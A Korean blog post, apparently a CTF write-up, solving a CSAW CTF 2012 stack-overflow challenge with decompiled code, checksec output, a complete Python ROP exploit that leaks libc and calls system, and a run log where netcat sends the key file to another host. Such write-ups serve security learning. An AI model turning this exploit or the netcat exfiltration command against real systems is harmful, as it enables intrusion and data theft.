티스토리 뷰
문제를 맞추는 게임을 제공함.
첫번째 문제를 틀리면 두번째 기회가 주어지는데 그때 오버플로우가 일어남
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | int __cdecl vuln(int fd) { char buf_124; // [sp+14h] [bp-4B4h]@1 //size 124 char v3; // [sp+90h] [bp-438h]@4 char s2; // [sp+490h] [bp-38h]@4 int v5; // [sp+4B8h] [bp-10h]@1 int v6; // [sp+4BCh] [bp-Ch]@1 v6 = 0; v5 = 0; sques(fd, 1); v5 = recv(fd, &buf_124, 124u, 0); addn(&buf_124, v5); v6 = v(&buf_124); if ( v6 == 1 ) { win(fd); close(fd); exit(0); } lose(fd); sques(fd, 2); v5 = recv(fd, &v3, 1024u, 0); // OverFlow! addn(&v3, v5); memcpy(&s2, &v3, 4 * (v5 >> 2)); v6 = v(&s2); if ( v6 == 1 ) { win(fd); close(fd); exit(1); } return lose(fd); } | cs |
1 2 3 | /r/s/c/500> checksec --file ./challenge1 RELRO STACK CANARY NX PIE RPATH Partial RELRO No canary found NX disabled No PIE No RPATH | cs |
기본적으로 Canary도 없고 NX도 걸려있지 않기 때문에 그냥 일반적인 ROP를 해주면 됨.
많이 풀어본 쉬운 문제임
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | #!/usr/bin/env python from socket import * from struct import * def setSock(i, p): s = socket(AF_INET, SOCK_STREAM) s.connect((i, p)) return s def exploit(IP, PORT, command): s = setSock(IP, PORT) recv_plt = 0x08048760 send_plt = 0x08048780 send_got = 0x0804b064 pop4ret = 0x08048F0C dataSec = 0x0804b068 offset = 0x000ADBC0 WrongAnswer = "WRONG ANSWER!\n" print "[*] " + s.recv(1024)[:56] s.send(WrongAnswer) # first answer payload = "\x90" * 60 payload += pack("<L", send_plt) payload += pack("<L", pop4ret) payload += pack("<L", 0x04) payload += pack("<L", send_got) payload += pack("<L", 0x04) payload += pack("<L", 0x00) # send(4, send@got, 4, 0) payload += pack("<L", recv_plt) payload += pack("<L", pop4ret) payload += pack("<L", 0x04) payload += pack("<L", dataSec + 0x50) payload += pack("<L", len(command)) payload += pack("<L", 0x00) # recv(4, &.data + 0x50, strlen(command), 0) payload += pack("<L", recv_plt) payload += pack("<L", pop4ret) payload += pack("<L", 0x04) payload += pack("<L", send_got) payload += pack("<L", 0x04) payload += pack("<L", 0x00) # recv(4, send@got, 4, 0) payload += pack("<L", send_plt) payload += pack("<L", 0x44444444) payload += pack("<L", dataSec + 0x50) # system(&command) print s.recv(1024) s.send(payload + "\n") s.recv(1024) send_libc = unpack("<L", s.recv(4))[0] system_libc = send_libc - offset print "[*] send@libc : " + hex(send_libc) print "[*] system@libc : " + hex(system_libc) s.send(command) s.send(pack("<L", system_libc)) if __name__ == "__main__": print "[+] Start" command = raw_input("[*] Input Command : ") exploit("192.168.1.151", 12345, command) print "[-] End" | cs |
1 2 3 4 5 6 | [+] Start [*] Input Command : nc 192.168.1.130 33333 < key [*] WELCOME TO THE CSAW CTF 2012 fillInTheBlankGame [*] send@libc : 0xb7619f70L [*] system@libc : 0xb756c3b0L [-] End | cs |
1 2 3 4 5 | root@Kali ~# nc -lvp 33333 listening on [any] 33333 ... 192.168.1.151: inverse host lookup failed: ... : ... connect to [192.168.1.130] from (UNKNOWN) [192.168.1.151] 36745 CS4W_Exp1oitation_CH4LLENGE1 | cs |
Exploit Code를 깔끔하게 하기 위해서 exploit을 함수로 따로 만들고 Command도 따로 받게 해놓음.
시간은 좀 걸리지만 그래도 깔끔하게 보이니까 괜찮은듯 ㅎ..
+ recv를 할 때 정확히 len(command) 만큼 받기 때문인지는 몰라도 command + "\n"으로 보내면
제대로 보내지지 않음..
+ 정확히 Partial RELRO가 무엇을 하는 역할인지 알고 싶음 Full RELRO는
GOT를 Read-Only시킨다고 함
[+] 생각해보니 NX-Bit가 안 걸려있어서 mprotect나 system을 쓸것도 없이
read@plt로 .data에 Shellcode 올려두고 점프하면 바로 됐을듯.. 왜 저렇게 어렵게 했지?
'Pwnable > CTF' 카테고리의 다른 글
Volga CTF 2014 [exploit 300] (0) | 2015.01.29 |
---|---|
Volga CTF 2014 [exploit 100] (0) | 2015.01.28 |
CodeGate 2014 [ Angry Doreamon ] (2) | 2015.01.14 |
NullCon 2014 [Exploitation 100] (0) | 2015.01.13 |
Plaid CTF 2013 [ropasaurusrex] (0) | 2014.12.13 |
댓글